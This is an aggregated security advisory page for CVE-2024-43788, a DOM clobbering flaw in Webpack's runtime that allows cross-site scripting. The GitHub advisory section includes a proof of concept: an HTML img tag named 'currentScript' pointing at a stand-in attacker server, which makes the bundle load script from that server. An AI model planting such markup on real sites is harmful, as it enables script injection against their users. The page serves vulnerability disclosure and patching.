Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

DOM Clobbering Gadget found in Webpack's AutoPublicPathRuntimeModule that leads to Cross-site Scripting (XSS)

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2024-43788

Published

Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.

Source published
27 Aug 2024 17:07:16 UTC
Source modified
9 Jan 2025 17:41:35 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 6.4 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

euvd · EUVD-2024-2497

Published

Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 27, 2024, 5:07:16 PM

dateUpdated: Jan 9, 2025, 5:41:35 PM

20 related source bulletins · separate from aliases

RHSA-2024:8023: Red Hat Security Advisory: Release of OpenShift Serverless Logic 1.34.0 security update & enhancements

CVE-2024-8391 · CVE-2024-39338 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800

WID-SEC-W-2024-3089: Red Hat Enterprise Linux (Cryostat): Mehrere Schwachstellen ermöglichen Cross-Site Scripting

CVE-2024-43788 · CVE-2024-45801

RHSA-2024:10906: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.8.5 security and bug fix update

CVE-2024-24790 · CVE-2024-24791 · CVE-2024-34155 · CVE-2024-34156 · CVE-2024-34158 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590

openSUSE-SU-2025:15020-1: rollup-3.29.5-1.1 on GA media

CVE-2024-43788

RHSA-2024:7724: Red Hat Security Advisory: Red Hat OpenShift Service Mesh Containers for 2.4.11

CVE-2024-32475 · CVE-2024-32976 · CVE-2024-43788 · CVE-2024-43799 · CVE-2024-43800

RHSA-2024:7706: Red Hat Security Advisory: Red Hat build of Cryostat security update

CVE-2024-43788 · CVE-2024-45801

RHSA-2024:8014: Red Hat Security Advisory: Network Observability 1.7.0 for OpenShift

CVE-2024-34155 · CVE-2024-34156 · CVE-2024-34158 · CVE-2024-39338 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-45801

WID-SEC-W-2025-0043: IBM QRadar SIEM (Log Source Management App): Mehrere Schwachstellen

CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-47068 · CVE-2024-47875 · CVE-2024-21536 · CVE-2024-21538 · CVE-2024-33883 · CVE-2024-37890 · CVE-2024-4067 · CVE-2024-4068 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-48948 · CVE-2024-48949 · CVE-2024-52798 · CVE-2024-55565 · CVE-2024-45801 · CVE-2024-42459 · CVE-2024-42460 · CVE-2024-42461 · CVE-2024-47764

WID-SEC-W-2024-3544: Red Hat JBoss Data Grid: Mehrere Schwachstellen

CVE-2024-43788 · CVE-2024-47072

msrc_CVE-2024-43788: DOM Clobbering Gadget found in Webpack's AutoPublicPathRuntimeModule that leads to Cross-site Scripting (XSS)

CVE-2024-43788

RHSA-2025:0323: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.14.13 Bug Fix Update

CVE-2023-26136 · CVE-2023-26364 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296

RHSA-2024:10214: Red Hat Security Advisory: Red Hat Data Grid 8.5.2 security update

CVE-2024-43788 · CVE-2024-47072

RHSA-2025:1249: Red Hat Security Advisory: updated discovery container images

CVE-2020-11023 · CVE-2023-44270 · CVE-2024-6485 · CVE-2024-8775 · CVE-2024-21536 · CVE-2024-21538 · CVE-2024-31228 · CVE-2024-31449 · CVE-2024-39338 · CVE-2024-41989 · CVE-2024-41991 · CVE-2024-42005 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-46981 · CVE-2024-52798 · CVE-2024-53907 · CVE-2024-55565 · CVE-2024-56201 · CVE-2024-56326 · CVE-2024-56374

RHSA-2024:7725: Red Hat Security Advisory: Red Hat OpenShift Service Mesh Containers for 2.5.5

CVE-2024-23326 · CVE-2024-30255 · CVE-2024-32475 · CVE-2024-32976 · CVE-2024-43788 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45590 · CVE-2024-45806

RHSA-2024:8113: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.3 security and bug fix update

CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45590

WID-SEC-W-2024-3250: Red Hat OpenShift: Mehrere Schwachstellen

CVE-2024-34155 · CVE-2024-34156 · CVE-2024-34158 · CVE-2024-39338 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-45801

RHSA-2024:8676: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.0 Security, Enhancement, & Bug Fix Update

CVE-2023-26136 · CVE-2023-26364 · CVE-2024-24786 · CVE-2024-24789 · CVE-2024-28176 · CVE-2024-41818 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590

SUSE-SU-2024:3771-1: Security update for pgadmin4

CVE-2024-38355 · CVE-2024-38998 · CVE-2024-38999 · CVE-2024-39338 · CVE-2024-4067 · CVE-2024-4068 · CVE-2024-43788 · CVE-2024-48948 · CVE-2024-48949 · CVE-2024-9014

RHSA-2024:7726: Red Hat Security Advisory: Red Hat OpenShift Service Mesh Containers for 2.6.2

CVE-2024-7264 · CVE-2024-43788 · CVE-2024-43796 · CVE-2024-43799 · CVE-2024-43800 · CVE-2024-45296 · CVE-2024-45590 · CVE-2024-45806 · CVE-2024-45808 · CVE-2024-45810

openSUSE-SU-2024:14330-1: forgejo-8.0.3-1.1 on GA media

CVE-2024-43788

Source published
Aug 27, 2024, 5:07:16 PM (timezone not stated)
Source modified
Jan 9, 2025, 5:41:35 PM (timezone not stated)
Saved here
15 Nov 2026 02:34:18 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 6.4 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

nvd · CVE-2024-43788

Published

Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-79

Original publisher date fields

published: 2024-08-27T17:15:07.967

lastModified: 2026-06-17T07:51:42.963

1 source CPE criteria · context only
  • cpe:2.3:a:webpack.js:webpack:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
27 Aug 2024 17:15:07 UTC
Source modified
17 Jun 2026 07:51:42 UTC
Saved here
25 Oct 2026 00:17:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 6.4 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-4vvj-4cpr-p986

Published

### Summary We discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code. ### Details #### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ #### Gadgets found in Webpack We identified a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files: ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript) /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks. ### PoC Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept. Consider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack: ``` // entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); }); ``` ``` // import1.js export function hello () { console.log('Hello'); } ``` The webpack.config.js is set up as follows: ``` const path = require('path'); module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(__dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', }; ``` When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. ``` <!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html> ``` ### Impact This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. ### Patch A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174 ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Source published
27 Aug 2024 19:50:40 UTC
Source modified
10 Sep 2026 03:50:18 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 13:53 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current